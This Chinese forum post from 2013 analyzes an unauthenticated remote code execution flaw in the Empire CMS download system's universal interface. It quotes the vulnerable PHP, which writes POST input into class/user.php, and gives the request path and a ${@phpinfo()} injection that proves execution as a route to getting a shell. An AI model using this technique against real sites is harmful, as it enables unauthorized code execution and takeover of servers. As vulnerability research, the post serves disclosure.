找回密码
 立即注册
查看: 2738|回复: 0
打印 上一主题 下一主题

帝国万能接口漏洞0day

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-23 09:34:37 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
这是帝国的一套下载系统如图 ps(不需要任何账户和密码,直接写shell) 由于很多站是由于下载要整合discuz等等一些论坛.... 而帝国他又有一个万能接口,如图 而这个接口很多人又不会删除,由此他带来了很大的安全隐患,导致直接getshell,下面分析代码 当我们" R. M3 C3 z& m

' v0 |! A# X' @* A


4 }% ^8 J4 _/ D. e+ P4 L2 P这是帝国的一套下载系统 如图
- b9 H+ q4 C2 C/ |8 \6 ?+ K- Zps(不需要任何账户和密码,直接写shell)


, w- B  l3 U$ x3 e- ~8 z

由于很多站是由于下载要整合discuz 等等一些论坛....
- y  O1 Y* h& b: t% s' U


+ y! A$ j6 r# n3 O9 v

而帝国他又有一个万能接口,如图


/ ^4 G9 G" o( m7 x4 d! f. ^- h  U# e2 B
% s  T* J) D: B: w+ u
7 p5 c4 u+ f: l' h& `  `# v9 ^2 t

而这个接口很多人又不会删除,由此他带来了很大的安全隐患,导致直接getshell,下面分析代码
, U/ Q0 N' u& h2 Z" A7 |% ~1 p# s
当我们提交的时候,他地址是提交到index.php?install=1&setup=SetConfig

1. if($_GET['install']==1)
2. {
3. @include("../class/connect.php");
4. @include("../class/db_sql.php");
5. @include("../class/functions.php");
6. $link=db_connect();
7. $empire=new mysqlquery();
8. if($setup=="SetConfig")
9. {
10. SetUserCOMConfig($_POST);
11. }
12. elseif($setup=="alter")
13. {
14. InstallUserCOM();
15. }
16. elseif($setup=="update")
17. {
18. UpdateUserCOM();
19. }
20. else
21. {}

复制代码

他这里开始调用一个SetUserCOMConfig的函数了,我们继续跟踪7 N* I( @4 P4 J- d4 i2 \, `
% W" j# ]+ }& ~+ p' j$ Q
在data/fun.php中的15行7 O( N0 X' D$ y
2 O$ r( Z4 T% m0 M
我们可以看到这个函数

1. function SetUserCOMConfig($add){
2. $filetext=ReadFiletext('data/user.php');
3. if(empty($filetext))
4. {
5. InstallShowMsg('文件 /update/data/user.php 丢失,安装不成功.');
6. }
7. $vr=explode(",",ReturnRepUserVar());
8. $count=count($vr);
9. for($i=0;$i<$count;$i++)
10. {
11. $filetext=str_replace("[!@--".$vr[$i]."--@!]",$add[$vr[$i]],$filetext);
12. }
13. //写入配置文件
14. $fp=@fopen("../class/user.php","w");
15. if(!$fp)
16. {4 @. @% m/ W7 e' H1 t
17. InstallShowMsg(' /class/user.php 文件权限没有设为0777,安装不成功.');
18. }
19. @fputs($fp,$filetext);
20. @fclose($fp);

复制代码

.....//省略若干9 q8 e+ @  a  x$ P0 a

. i# E+ i% m9 D) I这里的他将$filetext=str_replace("[!@--".$vr[$i]."--@!]",$add[$vr[$i]],$filetext);$ d* q( b7 Q( y% x5 ?9 P$ c
  ^& ?1 x$ g3 [/ X& R4 i! ~
他将传进来的变量进行了切割,然后赋给了$filetext5 _9 f% \- F: O7 K* t* I- I
9 `) P/ r) X# E3 @
然后看下面

1. //写入配置文件
2. $fp=@fopen("../class/user.php","w");
3. if(!$fp)
4. {
5. InstallShowMsg(' /class/user.php 文件权限没有设为0777,安装不成功.');
6. }
7. @fputs($fp,$filetext);

复制代码

打开了一个class/user.php文件,然后将$filetext写入了
  E/ W" i8 M4 s9 `$ j) m/ U- o; J! C: n8 X( Q2 ~
我们看看写入的结果,随便填一个

: I* Q3 w  U5 d! t6 l# m
: V9 h7 I: ^5 E5 S, f2 b0 U+ N
5 J3 r  [* ~  d/ B; m, |

# b; z" F$ H% [" O7 P& `
$ o+ G7 ?  @9 i/ c

) c% O" X- g2 {( N5 r  h6 \* W% u$ c% Z0 _6 ~0 o3 @5 I

, ~, a3 i1 I$ J! e/ _& d( j

. S4 {( j% J3 E" E: `3 S. }' {
% u/ q, @" _! p) K1 I0 u
9 A* ^* g7 P  g6 U9 V1 f; A; x" c9 L

7 U$ z* i+ \; a
- M, @  m  @4 A) N5 c/ [& |( I2 |

" m' P* T8 }" j( W9 I" s
  s" l$ R+ a0 S* _: [3 L  T" T; K$ A2 |3 Y, t+ q5 b4 t6 r; Z8 ^
, x* \4 Y2 g) [* w3 K2 y4 V

+ E4 y* Q, I, c! W7 a) j# y0 {, f4 w4 h9 O0 K6 |/ I

4 N. f1 ~( B6 I! h5 O
* n6 B) g0 _% H! P  u) g9 t

所以我们淫荡点,写个${@phpinfo()}试试

. \: k) Q1 c7 C0 }8 c. ~  c4 u, C

然后访问以下class/user.php这个文件5 Y# a1 z) D- a2 }
日了吧

: X' y! j* h; @! X2 H7 k
4 H6 m2 d# z$ {2 X6 \) P

8 g7 M3 m/ N7 B2 n7 l, l* I3 Y' H
9 m- N% O$ z- k

# C) K. _, k0 w# ]  H1 s1 n

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表